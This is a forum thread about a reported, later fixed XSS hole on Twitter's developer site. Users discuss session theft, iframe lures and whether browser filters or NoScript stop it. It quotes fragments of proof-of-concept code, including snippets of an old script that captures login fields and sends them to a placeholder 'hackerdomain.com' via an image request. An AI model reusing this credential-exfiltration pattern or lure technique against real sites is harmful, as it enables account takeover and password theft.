Zero Day XSS Vulnerability on Twitter

I'm not sure if I should post a direct link or not so I will refrain from doing so. xssed.com posted a short page showing a zero day XSS vulnerability for http://dev.twitter.com likely caused by Twitter not correctly escaping user input when displaying a search string. I've just tested it and it works. Like other XSS vulnerabilities, this one can be used to steal your Twitter session credentials and take over your account.

I wouldn't recommend clicking on any Bitly or other shortened links if you're logged into Twitter.

 

The code in the PoC indicates that the exploit is a script:

Code:

script>
function runXSS(){

...

input type="submit" onclick="runXSS()" 

The author of the PoC asks,

My question is, Do Twitter users need to have scripting enabled in order to use the site?

thanks,

rich

 

For some important things on Twitter you need javascript enabled to use it. For example, if you go to Twitter.com and want to see the top tweets, you need javascript enabled. If you want to do a search on Twitter and see the results, you also need javascript enabled. If you are just viewing tweets by visiting a known person's link, then you probably don't need javascript enabled. I bet the vast, vast majority of Twitter users have javascript enabled for the site and are vulnerable to this zero day XSS attack that can be easily exploited with a simple link.

 

A note to the interested: on my end, neither IE8's XSS Filter nor WebKit's XSS Auditor stops this particular attack.

 

Now that I think about it, you could put the exploit link in the src of an iframe element and just lure a user to visit a webpage you control. That way, the victim doesn't even have to directly click on the XSS link, they will be pwned on page load. It's probably best not to visit other sites while logged in to Twitter.

 

On further testing, Chrome's Javascript whitelisting options work against the PoC without having to disable Javascript on Twitter itself, since the exploit code runs from an outside domain.

True. The PoC page does mention that, in a real attack, user intervention won't be required.

 

Thanks for checking that.

That would be the way with most exploits that use a script from another domain -- loading a fake AV scan, for example, and even those that redirect to load a PDF exploit through a script.

However, don't some XSS exploits just hijack the 'Submit' part of a form, and the user's info is automatically sent from the current domain to the hijacker's site?

If so, users can never know how an XSS exploit is set up.

I think Noscript is the only such product that specifically intercepts all XSS exploits, no matter how the code is run.

Correct me if I'm wrong here.

thanks,

rich

 

I doubt that type of attack is still called XSS... is it?

Given how it intercepts ALL Javascript code, it should. I'm not sure if it's the only product that does that, though.

 

Perhaps not. I confess not to have kept up with this stuff.

Here are some snippits of an old PoC which stole the user's password:

Code:

 if(f.zl_user_name.value && f.zl_user_password.value) {

.....

  document.body.innerHTML = "Your credentials have just been stolen:<br>" + 

.....

 if((f.zl_user_password.onchange || null) == xss) return;
 f.zl_user_name.onchange = xss;
 f.zl_user_password.onchange = xss;

.....
 
}
window.onload = xss;</script>bal.jsp" 

[B][COLOR="DarkRed"]name="destination"/[/COLOR][/B]

 new Image().[B][COLOR="DarkRed"]src="hackerdomain.com"[/COLOR][/B] + 

As you can see, the script sends the information from the current domain, so if the user has scripting enabled for that domain, the user would be compromised.

Regarding Noscript -- My understanding is that Noscript will intercept XSS scripts on your sites white listed for scripting:

http://noscript.net/features#xss

I don't use noscript, so haven't tested it.

----
rich

 

Ok, looks like this zero day has been fixed.

 

As expected, NoScript blocks this xss successfully, Twitter is totally allowed.

 

There is a fairly comprehensive write-up here